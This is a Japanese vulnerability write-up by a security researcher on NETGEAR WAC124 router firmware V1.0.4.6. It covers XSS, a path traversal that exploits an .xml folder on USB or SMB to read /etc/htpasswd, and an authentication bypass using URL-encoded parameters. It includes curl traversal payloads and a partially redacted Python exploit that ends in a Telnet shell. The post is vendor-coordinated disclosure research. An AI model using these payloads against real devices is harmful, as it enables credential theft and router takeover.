※本記事は先立って公開された英語版記事を翻訳し、日本語圏の読者向けに一部改変したものです。
はじめに
こんにちは、株式会社Flatt Securityのstypr(@stereotype32)です。
一昨年、日本のOSS製品で発見された0day脆弱性に関する技術解説をブログに書きました。
それ以来、私は様々な製品に多くの脆弱性を発見してきました。残念ながら私が見つけたバグのほとんどはすぐに修正されなかったので、今日まで私が見つけた、技術的に興味深い脆弱性の情報を共有する機会がありませんでした。
本記事では、NETGEAR社のWAC124(AC2000)ルーターにおいて、様々な脆弱性を発見し、いくつかの脆弱性を連鎖させて、前提条件なしに未認証ユーザーの立場からコマンドを実行する方法について説明します。
私は1週間ほどかけてこれらのバグをすべて見つけ出し、前提条件を必要とするバグと前提条件を必要としないバグの2種類の悪用に連鎖させました。
残念ながらNETGEAR社は「Nighthawk」と「Orbi」のルーターにしか報奨金を出さないので、私は報奨金を受け取れませんでした。しかしペネトレーションテストやセキュリティ診断ではない形でこのルーターを検証するのは初めてのことであり、とても知的好奇心を満たしてくれるものでした。 近いうちに他の種類のルーターの脆弱性をもっと深掘りするつもりです。NETGEAR社のチームには、とても親切で迅速なサポートをいただき、感謝しています。
また、株式会社Flatt Securityではお客様のプロダクトに脆弱性がないか専門のセキュリティエンジニアが調査するセキュリティ診断サービスを提供しています。料金に関する資料を配布中ですので、ご興味のある方は是非ご覧ください。
免責事項
本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。
解析の前に
組み込み機器の解析を始める前に、機器からどのようなコンポーネントが利用できるのか、ルーターがどのようにファームウェアを保存しているのかも確認する必要があります。これによって隠れた重要な要素を見逃すことなく、効率的に検証を進めることができます。
ルーターの仕様
ハードウェアの仕様を読んでいると、CPUがMIPSアーキテクチャで作られていることに気がつきます。MIPS系バイナリのデコンパイルでは、Ghidraがそこそこの性能と品質を発揮するようなので、今回はGhidra(https://ghidra-sre.org/)を使用しました。
さらに、ルーターにはメディア共有用のUSBポートがあり、後ほど脆弱性を突く際に利用します。
以下がWAC124の仕様です。
Type | Value |
---|---|
CPU | MediaTek MT7621AT @880MHz MIPS |
Memory | 128MB (SDRAM) DDR3L |
Storage | 128MB SLC NAND Flash |
Wi-Fi | MediaTek MT7615N (802.11an+ac) / MediaTek MT7603EN (802.11bgn) |
Network | 5x Gigabit Ethernet ports |
USB | 1x USB 2.0 ports |
Power | 12V 1.5A via barrel |
ファームウェアのダンプ
ルーター/IoTデバイスの中には、ルーターからファームウェアをダンプするためにハードウェアの基礎知識が必要なものや、デバッグ/デバイスターミナルにアクセスするためにシリアル(UART)ポートを介してアクセスする必要があるものもありますので、注意が必要です。
幸いなことに、NETGEARのファームウェアは基本的に公式サイトから入手可能なので、ファームウェアの機種を検索し、適切なファームウェアをダウンロードする必要があります。本記事を書いている時点でのWAC124の最新(脆弱性あり)バージョンはV1.0.4.6です。V1.0.4.7で正式にバグフィックスされました。
ファームウェアをダウンロードした後、展開するのは非常に簡単です。
binwalk
(https://github.com/ReFirmLabs/binwalk) と squashfs-tools
をダウンロードしてインストールし、ファームウェアを解凍してください。
下図のように、binwalk
を使用することで、ファームウェアのファイルシステムを簡単に展開することが可能です。
以下が binwalk
の出力です。
# binwalk -e ./WAC124.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I" 113984 0x1BD40 U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)" 262074 0x3FFBA Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300 2097152 0x200000 uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image" 2097216 0x200040 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes 6291456 0x600000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44 48234496 0x2E00000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300 48234624 0x2E00080 Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml 48262193 0x2E06C31 Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml 48275929 0x2E0A1D9 Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js 48320002 0x2E14E02 End of Zip archive 50331648 0x3000000 Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300 50331776 0x3000080 Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml ...
また、ルーターのディレクトリ構造は以下のようになります。
# cd _WAC124.bin.extracted/squashfs-root # ls -al total 156 drwxr-xr-x 13 root root 4096 Jun 21 2016 . drwxr-xr-x 127 root root 69632 Sep 6 18:31 .. lrwxrwxrwx 1 root root 9 Mar 20 2020 bin -> usr/sbin/ drwxrwxrwx 2 root root 4096 Aug 15 2015 data drwxr-xr-x 2 root root 4096 Oct 19 2015 dev lrwxrwxrwx 1 root root 8 Mar 20 2020 etc -> /tmp/etc lrwxrwxrwx 1 root root 11 Mar 20 2020 etc_ro -> /tmp/etc_ro drwxr-xr-x 2 root root 4096 Dec 2 2012 home lrwxrwxrwx 1 root root 11 Mar 20 2020 init -> bin/busybox drwxr-xr-x 5 root root 12288 Mar 20 2020 lib drwxr-xr-x 2 root root 4096 Dec 2 2012 media lrwxrwxrwx 1 root root 8 Mar 20 2020 mnt -> /tmp/mnt drwxr-xr-x 6 root root 4096 Mar 20 2020 opt drwxr-xr-x 2 root root 4096 Nov 13 2000 proc lrwxrwxrwx 1 root root 9 Mar 20 2020 sbin -> usr/sbin/ drwxr-xr-x 2 root root 4096 Nov 17 2008 sys drwxr-xr-x 2 root root 4096 Jul 29 2000 tmp drwxr-xr-x 10 root root 4096 Jun 21 2016 usr lrwxrwxrwx 1 root root 8 Mar 20 2020 var -> /tmp/var lrwxrwxrwx 1 root root 8 Mar 20 2020 www -> /tmp/www drwxr-xr-x 9 root root 32768 Mar 20 2020 www.eng
本記事に登場するファイル一覧
本記事で紹介するファイルの一覧は以下の通りです。
/bin/mini_httpd
,mini_httpd
: HTTP サーバデーモン/bin/setup.cgi
,setup.cgi
: 設定を処理するためのCGI(ELFバイナリ)/www.eng/
: httpdサーバーのルートディレクトリ/etc/htpasswd
: 管理者ページ認証用の暗号化されていない証明書の平文ファイル- フォーマットは
username:password
- このファイルはTelnet認証とWebコンソールログイン機能で使用されます。
- フォーマットは
1. 息抜き(XSSの発見)
一般に、組み込み機器の多くは、Webコンポーネントの入力を適切にサニタイズしていないため、クロスサイトスクリプティング(XSS)のような基本的な脆弱性を検証することは良いアイデアです。
このことを念頭に置いて、/www.eng/
にあるHTM/HTMLファイルの候補をいくつかチェックしてみたところ、usb_new_fld.htm
に @usb_opener_htm#
という非常に興味深いテンプレート風のパラメータを発見したのです。
以下が usb_new_fld.htm
の内容です。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> ... <script> ... function browseDisk() { var cf = document.forms[0]; dataToHidden(cf); cf.todo.value = "browse"; cf.next_file.value = "usb_fld_tree.htm"; return true; } function end() { opener.location.href = "@usb_opener_htm#"; self.close(); } ... </script>
この仕組みについて深く調べてみることにしたのですが、アクセスされたファイルからテンプレートを解析する html_parser
という関数があることがわかりました。
この関数を詳しく調べてはいないのですが、この関数は以下のような処理を行っていました。
- 要求されたファイルを読み込み、いくつかのファイル拡張子をチェックする(これについては後述します)
@variable#
を検索する- テンプレート文字列を実際の値に置き換える
以下が setup.cgi
に含まれる html_parser
の内容となります。
int html_parser(char *filename,undefined4 param_2,char **param_3) { ... fp = open(filename,0); ... read(fp,buf,0xffff); close(fp); ... tmp = strtok(buf,"@"); while (tmp != (char *)0x0) { fputs(tmp,stdout); tmp = strtok((char *)0x0,"#"); if (tmp != (char *)0x0) { memset(acStack131120,0,0xffff); ppcVar1 = param_3; do { while( true ) { ppcVar2 = ppcVar1; if (*ppcVar2 == (char *)0x0) goto LAB_00423e54; if (ppcVar2[1] != (char *)0x0) break; ppcVar1 = ppcVar2 + 6; } fp = strcmp(tmp,*ppcVar2); ppcVar1 = ppcVar2 + 6; } while (fp != 0); ... LAB_00423e54: fputs(acStack131120,stdout); } tmp = strtok((char *)0x0,"@"); } ret = 0; } } return ret; }
また、他にも nvram
に usb_opener_htm
を追加する関数などもあったようですが、1つのブログ記事にするには長くなり過ぎてしまうので今回は省略します。
しかし、一部の悪意のある入力はサーバーにブロックされているようでした。
そこで、setup.cgi
の main
関数を調べてみると、FindForbidValue
という関数で、HTTPリクエストからの不正な入力がブロックされていることがわかりました。
以下が main
関数の内容です。
int main(undefined4 param_1,char **param_2) { ... int iVar8; // parsed input ptrptr? ... if (iVar8 == 0) { iVar8 = cgi_input_parse(param_1,param_2); } iVar1 = FindForbidValue(iVar8); if (iVar1 != 0) { iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c); if (iVar8 != 0) { (**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b); (**(code **)(local_30 + -0x7b40))("Invalid input value!\n",iVar8); (**(code **)(local_30 + -0x7a9c))(iVar8); } send_forbidden(); return 0; } ... }
FindForbidValue
のデコンパイルされたコードを読んでいると、;
, ||
, `
などの一部のパラメータはフィルターでブロックされていますが、XSSはきちんとブロックされていないようです。
これらのチェックが回避される限り、XSSは間違いなく機能します。
uint FindForbidValue(int **param_1) { int iVar1; char **ppcVar2; char *__s1; undefined4 uVar3; char **ppcVar4; char *__s; char **ppcVar5; uVar3 = 0; if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) && (ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) { do { do { ppcVar4 = (char **)ppcVar2[1]; if (ppcVar4 == (char **)0x0) { __s = *(char **)(*ppcVar2 + 4); __s1 = strchr(__s,0x60); if (__s1 != (char *)0x0) { return 1; } __s1 = strstr(__s,"||"); if (__s1 != (char *)0x0) { return 1; } __s1 = strchr(__s,0x3b); return (uint)(__s1 != (char *)0x0); } ppcVar5 = (char **)*ppcVar2; __s = ppcVar5[1]; __s1 = strchr(__s); ppcVar2 = ppcVar4; } while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) && (__s1 = strstr(__s,"||"), __s1 == (char *)0x0)); __s1 = *ppcVar5; iVar1 = strcmp(__s1,"ssid"); } while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) || ((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 || (iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0)))); uVar3 = 1; } return uVar3; }
何度か試行錯誤の結果、問題なく確実にXSSを動作させることができました。
しかし、私の第一の目的は、未認証のユーザーの立場からシェルを起動させることでした。上記のXSSを動作させる画面にたどり着くには認証が必要ですし、XSSは基本的にシェルの起動には繋がらないため、目的を果たしたとは言えませんね。
そこで、他の利用できそうな機能についても真剣に検討することにしました。以降の話とは無関係なのですが、XSSを見つけることで静的解析を始める前に気持ちをリフレッシュすることができました。
2. 前提条件ありのRCE(リモートコード実行)
認証されていない任意のファイル読み込みの発見
手動での静的解析も行いつつ setup.cgi
をテストしているときに、next_file
パラメータからいくつかの奇妙な動作を発見しました。なお、このパラメータに対してはパストラバーサルを悪用可能なので、これ以降のコードで使用しています。
ユーザーがログインしていない場合、.htm
, .html
, .asp
のファイルへのアクセスはログインページにリダイレクトされますが、.png
, .xml
やその他の画像拡張子のファイルへのアクセスは全くレスポンスを返しません。
以下のように拡張子が htm/html/asp
のファイル名は、ログインページにリダイレクトされます。
$ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../x.htm' <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html> $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../x.html' <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html> $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../x.asp' <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
一方、png/xml
を含むファイル名では応答が帰って来ません。
$ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../x.png' curl: (52) Empty reply from server $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../x.xml' $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg' curl: (52) Empty reply from server
ここでは応答にいくつかの不規則性が見られました。なぜか、.xml
は空のレスポンスを返さないのです。
そこで、パストラバーサルで既存のファイルを読み込むことにしたところ、既存の .xml
ファイルは読み込めるが、next_file
パラメータは既存の画像ファイルを読み込めないことが後で判明しました。
$ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml' <?xml version="1.0"?> <scpd xmlns="urn:schemas-upnp-org:service-1-0"> ... </scpd> $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png' curl: (52) Empty reply from server $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/image/sso/BG-Image.png' Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
さて、この時点で理解すべきことは2つあります。
.png
や.jpg
ファイルは出力を返さないのに、なぜxml
ファイルでは出力されたのでしょうか?クラッシュしたのでしょうか?htm
,asp
,html
ファイルがログインページを返したのはなぜですか?
テンプレートルーチンの解析
もう一度 setup.cgi
を見てみると、関数 main
に next_file
パラメータが渡されたときに必ず html_parser
が呼ばれることに気がつきました。
int main(undefined4 param_1,char **param_2) { ... pcVar1 = (char *)find_val(iVar8,"next_file"); if (pcVar1 == (char *)0x0) { iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen); if (iVar8 == 0) { return 0; } (**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a); (**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###\n",iVar8); (**(code **)(puVar10 + -0x7a9c))(iVar8); return 0; } ... LAB_00405d08: html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8)); return 0; }
html_parser
の関数を見返すと、next_file
の値が .htm
, .xml
, .html
のいずれを含むかをチェックしているように見えます(strstr
でのチェックなので「その拡張子で終わるか」のチェックではないのがこの後ポイントになります)。
undefined4 html_parser(char *filename,undefined4 param_2,char **param_3) { char **ppcVar1; int debug_fp; int fp; char *tmp; FILE *log_fp; undefined4 ret; char **ppcVar2; char acStack131120 [65536]; char buf [65544]; ... tmp = strstr(filename,".htm"); if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) && (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) { return 0xffffffff; } fp = open(filename,0); if (fp < 0) { fprintf(stdout,"Can\'t open file %s",filename); ret = 0xffffffff; } else { read(fp,buf,0xffff); close(fp); tmp = strstr(filename,".xml"); if (tmp == (char *)0x0) { tmp = "text/html"; } else { tmp = "text/xml; charset=utf-8"; } mime_header(tmp); if (*filename == 'h') { fputs(buf,stdout); ret = 0; } ...
しかし、最初の数回の試行でわかるように、asp
, html
, htm
の拡張子では上記処理のようにファイルの内容自体ではなく、ログインページが返されるため、そもそもこの関数が呼び出されていないようです。
後で調べてみると、このような挙動はルーターのHTTPデーモンである mini_httpd
が原因であることがわかりました。また、.png
などの画像拡張子もこのデーモンの影響を受けていると推測されます。
この時点ですでに .xml
拡張子の処理が動作しているので、これ以上の調査はしないことにしました。
つまり、ファイル名に .xml
を含む有効なファイルであれば、正しく開けることがわかります。では、次にどうすればよいのでしょうか。
システムシェルを起動するためのエクスプロイト
もう一度 html_parser
関数を見てみましょう。
tmp = strstr(filename,".htm"); if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) && (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) { return 0xffffffff; } fp = open(filename,0);
ファイル拡張子チェックのために strstr
を実行します。つまり、与えられたファイル名の中にファイル拡張子があるかどうかを調べますが、パスがそれらのファイル拡張子のいずれかで終わっていなければならないということではありません。
これは、path/to/file/blah.xml/1234
や path/test.xml.asdf
といったファイルパスがまだ有効とみなされることを意味します。
つまり、valid_folder.xml
のような有効なフォルダを作成し、そのフォルダからパストラバーサルを行って任意のファイルを読み込むことができるようになったのです。
さて、残る問題は、名前に .xml
が含まれる無効なフォルダーを作ることです。
この記事で前述したように、このルーターにはUSBポートがあります。そこで、USBメモリに evil.xml
というフォルダを作成し、この悪意のあるドライブをルーターに挿入してみることにしました。
PS F:\> tree f v /F F:\ └──evil.xml
次に、ルーターにマウントされたUSBドライブの正しい位置を確認します。マウントされたUSBドライブの場所の形式は、setup.cgi
から見て、/mnt/shares/%c
にあることがわかりました。
そんなことを考えながら、ドライブの名前をブルートフォースで調べてみると...。
$ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd' $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd' $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd' ... $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd' root::0:0:root:/:/bin/sh nobody::0:0:Nobody:/:/sbin/sh $ curl -H "User-Agent: Mozilla/5.0" \ 'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd' admin:Test1234
ばっちり!見事に成功しました。これで、管理者の認証情報を手に入れることができました。
これからは、管理者としてログインし、デバッグページからTelnetを有効にして、シェルを起動すればいいのです。
前提条件ありのRCE PoC
さて、ここまでで発見された脆弱性を使用すると、USBドライブを利用することでRCEが可能となります。
ここでは、USBドライブの代わりにSMBサーバーが認証なしで開いている前提でのPoCを書いてみることにします。手順としてはUSBドライブ同様で、exploit.xml
のようなフォルダをアップロードして任意のファイル読み込みを実行すれば、管理者の認証情報を漏えいさせることができます。
インターネット上で悪用されるのを防ぐために、実際のコードからは幾分か削除してあります。しかし、このスニペットを使えるようにするのはそれほど難しくはないはずです。
def smb_upload_folder(): """ Upload xml file via SMB """ anonymous_smb_and_upload("exploit.xml") def perform_path_traversal(): """ Performs the path traversal attack in three steps 1. Perform a path traversal to check if the bug works 2. Do SMB bruteforce to leak /etc/passwd - 00492900 ... "/tmp/mnt/shares/%c/%s" - We just need to bruteforce from A ~ Z 3. Leak remaining important files """ found_char = None for _char in string.ascii_uppercase: payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd" result = try_path_traversal(payload) # check if /etc/passwd is leaked if "root::0:0:root:/:/bin/sh" in resp: print("[.] Successfully leaked /etc/passwd!") print(resp) found_char = guess_char break if not found_char: print("[!] Failed to exploit..") return False # Leak /etc/htpasswd payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd" result = try_path_traversal(payload) print(f"[.] Successfully leaked /etc/htpasswd!") print(result) return result def login(username, password): """ Login with username and password """ return session def enable_debug_mode(session): """ Access debug.htm to enable debug mode """ return True def trigger_shell(htpasswd): """ Use the /etc/htpasswd to login as admin. After authentication, enable debug mode and get shell. """ username, password = htpasswd.strip().split(":") admin_session = login(username, password) enable_debug_mode(admin_session) with Telnet('www.routerlogin.net', 23) as session: session.read_until(b"login: ") session.write(username.encode() + b"\n") session.write(password.encode() + b"\n") session.interact() if __name__ == "__main__": smb_upload_folder() htpasswd = perform_path_traversal() if htpasswd: print("[.] Path Traversal Success! Let's get shell now..") trigger_shell(htpasswd) else: print("[-] Failed..")
さらなる深掘り
この攻撃の欠点は、この攻撃を実現するための前提条件があることです。
私の主目的は、無認証で前提条件なしにシェルを取得することだったので、mini_httpd
など他のファイルも深く見てみることにしました。
3. 前提条件なしのRCE
認証バイパスの発見
先ほどの「任意のファイル読み込み」で見たように、拡張子によっては setup.cgi
を通らないようなので、ルーターのHTTPデーモンモジュールである mini_httpd
を深堀りしてみることにしました。
興味深いことに、この mini_httpd
は、オリジナルのACMEのhttp://www.acme.com/software/mini_httpd/ プロジェクトをカスタマイズしたものであるようでした。
残念ながら、カスタマイズされたビルドは、オリジナルのビルドとややかけ離れているように思えたので、公式のソースコードを見るのはやめました。
mini_httpd
を分解してしばらくコードを読んでいると、path_exist
という関数に何種類かのチェックがあるようで、ちょっと面白いコードになっていました。
uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack) { char *needle; int iVar1; char *pcVar2; char bufPath [1024]; char *tmp; ... needle = strstr(requested_path,".gif"); if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0)) && (needle = strstr(requested_path,".js"), needle == (char *)0x0)) && (((needle = strstr(requested_path,".xml"), needle == (char *)0x0 && (needle = strstr(requested_path,".png"), needle == (char *)0x0)) && (needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) { return 0; } needle = strstr(requested_path,".htm"); if (needle != (char *)0x0) { return 0; } needle = strstr(requested_path,"html"); if (needle == (char *)0x0) { ... needle = strstr(requested_path,"todo="); if (needle != (char *)0x0) { return 0; } ... memset(bufPath,0,0x400); strncpy(bufPath,requested_path,0x3ff); iVar1 = strncmp(bufPath,"/setup.cgi?",0xb); if (iVar1 == 0) { needle = strstr(bufPath,"next_file="); if (needle == (char *)0x0) { return 1; } pcVar2 = strchr(needle,0x26); if (pcVar2 == (char *)0x0) { return 1; } ... *pcVar2 = '\0'; pcVar2 = strstr(needle,".gif"); if (pcVar2 != (char *)0x0) { return 1; } ... pcVar2 = strstr(needle,".js"); if (pcVar2 != (char *)0x0) { return 1; } pcVar2 = strstr(needle,".png"); } else { ... needle = strstr(bufPath,".xml"); if (needle != (char *)0x0) { return 1; } pcVar2 = strstr(bufPath,".png"); needle = bufPath; } if (pcVar2 != (char *)0x0) { return 1; } needle = strstr(needle,".jpg"); return (uint)(needle != (char *)0x0); } return 0; }
一見すると複雑すぎるように思えました。
しかし、この関数と関連するコードを読んでみると、これらのコードの要点は、認証されていないユーザーが特定の種類のファイル拡張子にしかアクセスできないようにすることだけでした。
この path_exist
関数が行う処理は基本的に以下の2つです。
- パスが
.htm
,.html
,.asp
などを含まないかどうかをチェックする - パスに
todo
などの予期せぬ動作を引き起こす危険な文字が含まれていないかどうかをチェックする
一部のフィルタを回避する
このパラメータは、サーバーへの重要なリクエストを実行するために不可欠なので、最初に todo=
フィルタをバイパスすることにしました。
まずは手持ちの既存ペイロードで試してみましょう。
$ curl -H 'User-Agent: Mozilla/5.0' \ 'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml' <?xml version="1.0"?> <scpd xmlns="urn:schemas-upnp-org:service-1-0"> ... </scpd>
では、パラメータの名前から e
を %65
に変更するとどうなるかを見てみましょう。
$ curl -H 'User-Agent: Mozilla/5.0' \ 'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml' <?xml version="1.0"?> <scpd xmlns="urn:schemas-upnp-org:service-1-0"> ... </scpd>
クエリ文字列がエンコードされている場合でも、完全に動作します。この場合、クエリ文字列全体が内部でデコードされていることがわかりました。
では、リクエストに todo=
を追加してみましょう。
$ curl -H 'User-Agent: Mozilla/5.0' \ 'http://192.168.0.100/setup.cgi?todo=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml' <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>%
このように、サーバーは不正な request_path
とみなし、ユーザーをログインページにリダイレクトしています。
todoパラメータの名前から d
を %64
に変更したらどうでしょう。
$ curl -H 'User-Agent: Mozilla/5.0' \ 'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml' <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <link rel="stylesheet" href="style/basic.css?v=1046"> <script language=javascript type=text/javascript src=funcs.js></script> <script language=javascript type=text/javascript src="basic.js?v=1046"></script> <script language=javascript type=text/javascript src=top.js></script> <script language="javascript" type="text/javascript" src="string.js"></script> <title>NETGEAR Router WAC124</title> <meta http-equiv=content-type content='text/html; charset=UTF-8'> <meta content="MSHTML 6.00.2800.1141" name="GENERATOR"> ... var guest="0"; var sso_error="0"; ... </script> <body onload="loadvalue();" onResize="change_size();"> <form onsubmit="return false"> <div id="top"> <iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe> </div> <div id="container" class="container_center"> <div id="middle"> <div id="menu"> <div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div> <div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div> <div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div> <div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div> <div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div> <!-- <div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div> --> <div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div> <!-- <div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div> --> <div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div> <div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div> </div> <!--div id="mini_height"> </div--> <div id="formframe_div"> <iframe name="formframe" id="formframe" allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe> </div> <div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif"> <div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div> <div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b> <input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" > <input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055"> </div> </div> </div> </div> </form> <script language="javascript" type="text/javascript" src="langs.js"></script> </body>
原因はわかりませんが、本来であればnext_file
にあるxmlファイルが出力されるはずのところ、todo=
を(URLエンコードして)渡すと、認証されたユーザーだけに表示されるはずのindex.htm
の内容が代わりに出力されることが分かりました。
